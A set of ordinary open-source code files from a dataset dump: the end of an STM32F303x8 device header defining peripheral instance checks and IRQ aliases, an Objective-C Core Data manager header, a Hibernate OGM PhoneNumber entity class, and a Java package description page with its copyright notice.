IS_GPIO_AF_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA) || \ ((INSTANCE) == GPIOB) || \ ((INSTANCE) == GPIOC) || \ ((INSTANCE) == GPIOD) || \ ((INSTANCE) == GPIOF)) #define IS_GPIO_LOCK_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA) || \ ((INSTANCE) == GPIOB) || \ ((INSTANCE) == GPIOC) || \ ((INSTANCE) == GPIOD) || \ ((INSTANCE) == GPIOF)) /****************************** I2C Instances *********************************/ #define IS_I2C_ALL_INSTANCE(INSTANCE) ((INSTANCE) == I2C1) /****************** I2C Instances : wakeup capability from stop modes *********/ #define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) /****************************** OPAMP Instances *******************************/ #define IS_OPAMP_ALL_INSTANCE(INSTANCE) ((INSTANCE) == OPAMP2) /****************************** IWDG Instances ********************************/ #define IS_IWDG_ALL_INSTANCE(INSTANCE) ((INSTANCE) == IWDG) /****************************** RTC Instances *********************************/ #define IS_RTC_ALL_INSTANCE(INSTANCE) ((INSTANCE) == RTC) /****************************** SMBUS Instances *******************************/ #define IS_SMBUS_ALL_INSTANCE(INSTANCE) ((INSTANCE) == I2C1) /****************************** SPI Instances *********************************/ #define IS_SPI_ALL_INSTANCE(INSTANCE) ((INSTANCE) == SPI1) /******************* TIM Instances : All supported instances ******************/ #define IS_TIM_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM6) || \ ((INSTANCE) == TIM7) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /******************* TIM Instances : at least 1 capture/compare channel *******/ #define IS_TIM_CC1_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : at least 2 capture/compare channels *******/ #define IS_TIM_CC2_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : at least 3 capture/compare channels *******/ #define IS_TIM_CC3_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : at least 4 capture/compare channels *******/ #define IS_TIM_CC4_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : at least 5 capture/compare channels *******/ #define IS_TIM_CC5_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1)) /****************** TIM Instances : at least 6 capture/compare channels *******/ #define IS_TIM_CC6_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1)) /************************** TIM Instances : Advanced-control timers ***********/ /****************** TIM Instances : supporting clock selection ****************/ #define IS_TIM_CLOCK_SELECT_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting external clock mode 1 for ETRF input */ #define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : supporting external clock mode 2 **********/ #define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ #define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ #define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting OCxREF clear *******************/ #define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : supporting encoder interface **************/ #define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : supporting Hall interface *****************/ #define IS_TIM_HALL_INTERFACE_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1)) #define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1)) /**************** TIM Instances : external trigger input available ************/ #define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : supporting input XOR function *************/ #define IS_TIM_XOR_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting master mode ********************/ #define IS_TIM_MASTER_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM6) || \ ((INSTANCE) == TIM7) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting slave mode *********************/ #define IS_TIM_SLAVE_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting synchronization ****************/ #define IS_TIM_SYNCHRO_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM6) || \ ((INSTANCE) == TIM7) || \ ((INSTANCE) == TIM15)) /****************** TIM Instances : supporting 32 bits counter ****************/ #define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE)\ ((INSTANCE) == TIM2) /****************** TIM Instances : supporting DMA burst **********************/ #define IS_TIM_DMABURST_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting the break function *************/ #define IS_TIM_BREAK_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting input/output channel(s) ********/ #define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ ((((INSTANCE) == TIM1) && \ (((CHANNEL) == TIM_CHANNEL_1) || \ ((CHANNEL) == TIM_CHANNEL_2) || \ ((CHANNEL) == TIM_CHANNEL_3) || \ ((CHANNEL) == TIM_CHANNEL_4) || \ ((CHANNEL) == TIM_CHANNEL_5) || \ ((CHANNEL) == TIM_CHANNEL_6))) \ || \ (((INSTANCE) == TIM2) && \ (((CHANNEL) == TIM_CHANNEL_1) || \ ((CHANNEL) == TIM_CHANNEL_2) || \ ((CHANNEL) == TIM_CHANNEL_3) || \ ((CHANNEL) == TIM_CHANNEL_4))) \ || \ (((INSTANCE) == TIM3) && \ (((CHANNEL) == TIM_CHANNEL_1) || \ ((CHANNEL) == TIM_CHANNEL_2) || \ ((CHANNEL) == TIM_CHANNEL_3) || \ ((CHANNEL) == TIM_CHANNEL_4))) \ || \ (((INSTANCE) == TIM15) && \ (((CHANNEL) == TIM_CHANNEL_1) || \ ((CHANNEL) == TIM_CHANNEL_2))) \ || \ (((INSTANCE) == TIM16) && \ (((CHANNEL) == TIM_CHANNEL_1))) \ || \ (((INSTANCE) == TIM17) && \ (((CHANNEL) == TIM_CHANNEL_1)))) /****************** TIM Instances : supporting complementary output(s) ********/ #define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ ((((INSTANCE) == TIM1) && \ (((CHANNEL) == TIM_CHANNEL_1) || \ ((CHANNEL) == TIM_CHANNEL_2) || \ ((CHANNEL) == TIM_CHANNEL_3))) \ || \ (((INSTANCE) == TIM15) && \ ((CHANNEL) == TIM_CHANNEL_1)) \ || \ (((INSTANCE) == TIM16) && \ ((CHANNEL) == TIM_CHANNEL_1)) \ || \ (((INSTANCE) == TIM17) && \ ((CHANNEL) == TIM_CHANNEL_1))) /****************** TIM Instances : supporting counting mode selection ********/ #define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3)) /****************** TIM Instances : supporting repetition counter *************/ #define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting clock division *****************/ #define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting 2 break inputs *****************/ #define IS_TIM_BKIN2_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1)) /****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ #define IS_TIM_TRGO2_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1)) /****************** TIM Instances : supporting DMA generation on Update events*/ #define IS_TIM_DMA_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM6) || \ ((INSTANCE) == TIM7) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting DMA generation on Capture/Compare events */ #define IS_TIM_DMA_CC_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM2) || \ ((INSTANCE) == TIM3) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting commutation event generation ***/ #define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM15) || \ ((INSTANCE) == TIM16) || \ ((INSTANCE) == TIM17)) /****************** TIM Instances : supporting remapping capability ***********/ #define IS_TIM_REMAP_INSTANCE(INSTANCE)\ (((INSTANCE) == TIM1) || \ ((INSTANCE) == TIM16)) /****************** TIM Instances : supporting combined 3-phase PWM mode ******/ #define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) \ (((INSTANCE) == TIM1)) /****************************** TSC Instances *********************************/ #define IS_TSC_ALL_INSTANCE(INSTANCE) ((INSTANCE) == TSC) /******************** USART Instances : Synchronous mode **********************/ #define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1) || \ ((INSTANCE) == USART2) || \ ((INSTANCE) == USART3)) /****************** USART Instances : Auto Baud Rate detection ****************/ #define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) ((INSTANCE) == USART1) /******************** UART Instances : Asynchronous mode **********************/ #define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1) || \ ((INSTANCE) == USART2) || \ ((INSTANCE) == USART3)) /******************** UART Instances : Half-Duplex mode **********************/ #define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1) || \ ((INSTANCE) == USART2) || \ ((INSTANCE) == USART3)) /******************** UART Instances : LIN mode **********************/ #define IS_UART_LIN_INSTANCE(INSTANCE) ((INSTANCE) == USART1) /******************** UART Instances : Wake-up from Stop mode **********************/ #define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) ((INSTANCE) == USART1) /****************** UART Instances : Hardware Flow control ********************/ #define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1) || \ ((INSTANCE) == USART2) || \ ((INSTANCE) == USART3)) /****************** UART Instances : Auto Baud Rate detection *****************/ #define IS_UART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) ((INSTANCE) == USART1) /****************** UART Instances : Driver Enable ****************************/ #define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1) || \ ((INSTANCE) == USART2) || \ ((INSTANCE) == USART3)) /********************* UART Instances : Smard card mode ***********************/ #define IS_SMARTCARD_INSTANCE(INSTANCE) ((INSTANCE) == USART1) /*********************** UART Instances : IRDA mode ***************************/ #define IS_IRDA_INSTANCE(INSTANCE) ((INSTANCE) == USART1) /******************** UART Instances : Support of continuous communication using DMA ****/ #define IS_UART_DMA_INSTANCE(INSTANCE) (1) /****************************** WWDG Instances ********************************/ #define IS_WWDG_ALL_INSTANCE(INSTANCE) ((INSTANCE) == WWDG) /** * @} */ /******************************************************************************/ /* For a painless codes migration between the STM32F3xx device product */ /* lines, the aliases defined below are put in place to overcome the */ /* differences in the interrupt handlers and IRQn definitions. */ /* No need to update developed interrupt code when moving across */ /* product lines within the same STM32F3 Family */ /******************************************************************************/ /* Aliases for __IRQn */ #define ADC1_IRQn ADC1_2_IRQn #define USB_LP_CAN_RX0_IRQn CAN_RX0_IRQn #define USB_HP_CAN_TX_IRQn CAN_TX_IRQn #define COMP1_2_IRQn COMP2_IRQn #define COMP1_2_3_IRQn COMP2_IRQn #define COMP_IRQn COMP2_IRQn #define COMP4_5_6_IRQn COMP4_6_IRQn #define TIM15_IRQn TIM1_BRK_TIM15_IRQn #define TIM18_DAC2_IRQn TIM1_CC_IRQn #define TIM17_IRQn TIM1_TRG_COM_TIM17_IRQn #define TIM16_IRQn TIM1_UP_TIM16_IRQn #define TIM6_DAC_IRQn TIM6_DAC1_IRQn #define TIM7_IRQn TIM7_DAC2_IRQn /* Aliases for __IRQHandler */ #define ADC1_IRQHandler ADC1_2_IRQHandler #define USB_LP_CAN_RX0_IRQHandler CAN_RX0_IRQHandler #define USB_HP_CAN_TX_IRQHandler CAN_TX_IRQHandler #define COMP1_2_IRQHandler COMP2_IRQHandler #define COMP1_2_3_IRQHandler COMP2_IRQHandler #define COMP_IRQHandler COMP2_IRQHandler #define COMP4_5_6_IRQHandler COMP4_6_IRQHandler #define TIM15_IRQHandler TIM1_BRK_TIM15_IRQHandler #define TIM18_DAC2_IRQHandler TIM1_CC_IRQHandler #define TIM17_IRQHandler TIM1_TRG_COM_TIM17_IRQHandler #define TIM16_IRQHandler TIM1_UP_TIM16_IRQHandler #define TIM6_DAC_IRQHandler TIM6_DAC1_IRQHandler #define TIM7_IRQHandler TIM7_DAC2_IRQHandler #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __STM32F303x8_H */ /** * @} */ /** * @} */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
katezilla/RIOT
cpu/stm32f3/include/stm32f303x8.h
C
lgpl-2.1
913,290
#import <Foundation/Foundation.h> #import <CoreData/CoreData.h> FOUNDATION_EXTERN NSString * const MITCoreDataThreadLocalContextKey; @interface CoreDataManager : NSObject @property (nonatomic, readonly) NSManagedObjectModel *managedObjectModel; @property (nonatomic, readonly) NSManagedObjectContext *managedObjectContext; @property (nonatomic, readonly) NSPersistentStoreCoordinator *persistentStoreCoordinator; @property (nonatomic, readonly, strong) NSSet *modelNames; @property (nonatomic, readonly) NSString *applicationDocumentsDirectory; + (CoreDataManager*)coreDataManager; + (NSArray *)fetchDataForAttribute:(NSString *)attributeName; + (NSArray *)fetchDataForAttribute:(NSString *)attributeName sortDescriptor:(NSSortDescriptor *)sortDescriptor; + (void)clearDataForAttribute:(NSString *)attributeName; + (id)insertNewObjectForEntityForName:(NSString *)entityName; //added by blpatt + (id)insertNewObjectWithNoContextForEntity:(NSString *)entityName; + (NSArray*)objectsForEntity:(NSString *)entityName matchingPredicate:(NSPredicate *)predicate sortDescriptors:(NSArray *)sortDescriptors; + (NSArray*)objectsForEntity:(NSString *)entityName matchingPredicate:(NSPredicate *)predicate; + (id)getObjectForEntity:(NSString *)entityName attribute:(NSString *)attributeName value:(id)value; //added by blpatt + (void)deleteObjects:(NSArray *)objects; + (void)deleteObject:(NSManagedObject *)object; + (void)saveData; + (void)saveDataWithTemporaryMergePolicy:(id)temporaryMergePolicy; + (NSManagedObjectModel *)managedObjectModel; + (NSManagedObjectContext *)managedObjectContext; + (NSPersistentStoreCoordinator *)persistentStoreCoordinator; - (NSArray *)fetchDataForAttribute:(NSString *)attributeName; - (NSArray *)fetchDataForAttribute:(NSString *)attributeName sortDescriptor:(NSSortDescriptor *)sortDescriptor; - (void)clearDataForAttribute:(NSString *)attributeName; - (id)insertNewObjectForEntityForName:(NSString *)entityName; //added by blpatt - (id)insertNewObjectWithNoContextForEntity:(NSString *)entityName; - (NSArray*)objectsForEntity:(NSString *)entityName matchingPredicate:(NSPredicate *)predicate sortDescriptors:(NSArray *)sortDescriptors; - (NSArray*)objectsForEntity:(NSString *)entityName matchingPredicate:(NSPredicate *)predicate; - (id)getObjectForEntity:(NSString *)entityName attribute:(NSString *)attributeName value:(id)value; //added by blpatt - (void)deleteObjects:(NSArray *)objects; - (void)deleteObject:(NSManagedObject *)object; - (void)deleteObjectsForEntity:(NSString*)entityName; - (void)saveData; // added for migrating store -(NSString *)storeFileName; -(NSString *)currentStoreFileName; -(BOOL)migrateData; @end
MIT-Mobile/MIT-Mobile-for-iOS
Common/CoreData/Manager/CoreDataManager.h
C
lgpl-2.1
2,673
/* * Hibernate OGM, Domain model persistence for NoSQL datastores * * License: GNU Lesser General Public License (LGPL), version 2.1 or later * See the lgpl.txt file in the root directory or <http://www.gnu.org/licenses/lgpl-2.1.html>. */ package org.hibernate.ogm.test.integration.jboss.model; import javax.persistence.Entity; import javax.persistence.Id; @Entity public class PhoneNumber { @Id private String name; private String value; public PhoneNumber() { } public PhoneNumber(String name, String value) { this.name = name; this.value = value; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } }
uugaa/hibernate-ogm
integrationtest/redis/src/test/java/org/hibernate/ogm/test/integration/jboss/model/PhoneNumber.java
Java
lgpl-2.1
794
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> </head> <body> This package contains common types and constants for the AIS service APIs. <p>Copyright statement is specified <a href="#Copyrights">here</a>. </p> TODO: add package description here <h2><a name="Copyrights"></a>OWNERSHIP OF SPECIFICATION AND COPYRIGHTS.<br> </h2> Copyright 2007 by the Service Availability Forum. All rights reserved.<br> <br> Permission to use, copy, modify, and distribute this software for any<br> purpose without fee is hereby granted, provided that this entire notice<br> is included in all copies of any software which is or includes a copy<br> or modification of this software and in all copies of the supporting<br> documentation for such software.<br> <br> THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED<br> WARRANTY.&nbsp; IN PARTICULAR, THE SERVICE AVAILABILITY FORUM DOES NOT MAKE ANY<br> REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY<br> OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE.<br> </body> </html>
kenzaburo/OpenSaf-FrameWork
java/ais_api/src/org/saforum/ais/package.html
HTML
lgpl-2.1
1,094